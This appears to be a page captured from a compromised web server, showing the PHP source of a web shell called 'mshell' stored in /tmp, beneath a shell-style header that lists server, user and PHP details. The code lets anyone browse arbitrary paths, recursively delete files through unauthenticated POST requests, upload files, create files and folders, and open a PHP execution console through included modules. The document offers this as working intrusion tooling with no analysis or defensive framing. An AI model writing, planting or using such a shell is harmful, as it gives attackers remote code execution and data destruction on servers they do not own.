HEX
Server: OMCnet Webserver
System: Linux www1 5.4.262-gentoo #1 SMP Wed Nov 29 13:04:24 CET 2023 x86_64
User: sigstud (30943)
PHP: 8.3.11
Disabled: openlog,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,virtual
Upload Files
File: //tmp/shf_KPxCE0
<?php
@include '../hornet.php';
?>

<!DOCTYPE html>
<html>
    <head>
        <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@600&display=swap" rel="stylesheet">
        <title>mshell</title>
        <style>
            * {
                box-sizing: border-box;
                margin: 0;
                padding: 0;
            }
            body {
                background-color: #120d14;
                color: #faf0e6;
                font-family: 'JetBrains Mono', 'Courier New', Courier, monospace;
                font-size: 80%;
            }
            h2.header {
                font-size: 120%;
                background-color: #686a77;
                padding: 8px;
                color: #c3b1bd;
                text-align: center;
            }

            nav{
                padding-left: 2%;
                font-size: 200%;
                color: #faf0e6;
            }
            .docRootBlock{
                padding: 1%;
                padding-left: 0%;
                background-color:rgba(0, 0, 0, 0.47);
                
            }   
            a[href].docRootText{
                padding: 5px;
                font-family: 'JetBrains Mono', 'Courier New', Courier, monospace;
                color:rgb(160, 139, 253);
                font-size: 95%;
                text-decoration: none;
            }
            a[href].filesSystem{
                text-decoration: none;
                color: #e3f9bb;
                font-size: 115%;
            }

            a[href].filesSystemDir{
                text-decoration: none;
                color: rgb(191, 187, 249);
                font-size: 145%;
            }
                
            ul li.dir::before {
                content: "#~";
                color:rgb(191, 187, 249);
                padding: 0.5%;
                padding-left: 5%;
                font-size: 135%;
                font-weight: bold;
                font-family: 'JetBrains Mono', 'Courier New', Courier, monospace;
            }

            ul li.file::before {
                content: "!~";
                color: #e3f9bb;
                padding: 0.5%;
                padding-left: 5%;
                font-size: 115%;
                font-weight: bold;
                font-family: 'JetBrains Mono', 'Courier New', Courier, monospace;
            }
            ul li.dir {
                padding: 4px;
                padding-top: 8px;
                padding-bottom: 8px;
                background-color: rgba(122, 122, 122, 0.10);
                border-bottom: 1px dashed rgb(77, 77, 77);
            }
            ul li.file {
                padding: 4px;
                padding-top: 8px;
                padding-bottom: 8px;
                border-bottom: 1px dashed rgb(77, 77, 77);
                background-color: rgba(255, 255, 255, 0.02);
            }
            ul {
                list-style: none;
            }

            div.buttons{
                display: flex;
                justify-content: center;
                height: 40px;
                margin: 1%;
            }

            div.buttons2{
                display: flex;
                position: relative;
            }

            .button-like {
                background-color:rgba(18, 138, 122, 0.78);
                height: 30px;
                color: #FFF8DC;
                margin-right: 10px;
                border-radius: 3px;
                border: none;
                padding: 6px 12px;
                font-family: 'JetBrains Mono', 'Courier New', Courier, monospace;
                font-size: 14px;
                cursor: pointer;
                text-align: center;
                text-decoration: none;
                display: flex;
                transition: all 0.15s ease;

            }
            .button-like-del {
                background-color:rgba(18, 138, 122, 0.78);
                height: 30px;
                color: #FFF8DC;
                margin-right: 10px;
                margin-top: 1%;
                border-radius: 3px;
                border: none;
                padding: 6px 12px;
                font-family: 'JetBrains Mono', 'Courier New', Courier, monospace;
                font-size: 14px;
                cursor: pointer;
                text-align: center;
                text-decoration: none;
                display: flex;
                transition: all 0.15s ease;

            }
            .button-like:hover {
                box-shadow: 0 2px 8px rgba(65, 65, 65, 0.7);
                background-color:rgba(138, 18, 48, 0.78);
                font-size: 14px;
                
            }
            .button-like-del:hover {
                box-shadow: 0 2px 8px rgba(65, 65, 65, 0.7);
                background-color:rgba(138, 18, 48, 0.78);
                font-size: 14px;
            }

            input[type="file"] {
                display: none;
            }


            .checkbox-spacing {
                margin-right: 0.5%;
                width: 15px;
                height: 15px;
                border: 1px solid #555;
                border-radius: 8px;
                background-color: transparent;
                transition: all 0.2s ease;
            }
        </style>
    </head>
    <body>
        <h2 class="header">m s h e l l</h2>
        
        <?php @include 'modules/hen.php'; ?> 
        <?php
            function deleteRecursively($path) {
                if (is_file($path)) {
                    return unlink($path);
                } elseif (is_dir($path)) {
                    $items = scandir($path);
                    foreach ($items as $item) {
                        if ($item === '.' || $item === '..') continue;
                        deleteRecursively($path . DIRECTORY_SEPARATOR . $item);
                    }
                    return rmdir($path);
                }
                return false;
            }

            if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_GET['delete_files']) && !empty($_POST['delete_files'])) {
                foreach ($_POST['delete_files'] as $target) {
                    $path = realpath($target);
                    if ($path && file_exists($path)) {
                        deleteRecursively($path);
                    }
                }

                // Редирект без вывода
                $path = isset($_GET['path']) ? $_GET['path'] : '';
                header("Location: ?path=" . rawurlencode($path));
                exit;
            }
        ?>

        <div class="buttons">
            <?php if (file_exists('modules/hippopotamus.php')): ?>
                <form method="POST" action="modules/hippopotamus.php?path=<?php echo urlencode($currentPath); ?>" enctype="multipart/form-data">
                    <label class="button-like">
                        Upload . Files
                        <input type="file" name="uploaded_files[]" multiple style="display: none;" onchange="this.form.submit()">
                    </label>
                </form>
            <?php endif; ?>
            
            <?php if (file_exists('modules/beetle.php')): ?>
            <a class="button-like" href="?path=<?php echo urlencode($currentPath); ?>&action=createFile">New . File</a>
            <?php endif; ?>

            <?php if (file_exists('modules/rooster.php')): ?>
            <a class="button-like" href="?path=<?php echo urlencode($currentPath); ?>&action=createDir">New . Directory</a>
            <?php endif; ?>

            <?php if (file_exists('modules/alligator.php')): ?>
            <a class="button-like" href="?path=<?php echo urlencode($currentPath); ?>&action=phpExec">Php . Console</a>
            <?php endif; ?>

        </div>

        <?php
            $currentPath = isset($_GET['path']) ? realpath($_GET['path']) : realpath(getcwd());
            $action = isset($_GET['action']) ? $_GET['action'] : null;

            if (!$currentPath) {
                die('incorrect path');
            }

            if ($action === 'createFile' && is_dir($currentPath)) {
                @include 'modules/beetle.php';
                exit;
            }

            if ($action === 'createDir' && is_dir($currentPath)) {
                @include 'modules/rooster.php';
                exit;
            }

            if ($action === 'phpExec' && is_dir($currentPath)) {
                @include 'modules/alligator.php';
                exit;
            }

            if (is_file($currentPath)) {
                @include 'modules/ray.php';
                exit;
            }
        ?>

        <?php @include 'modules/walrus.php'; ?>

    </body>
</html>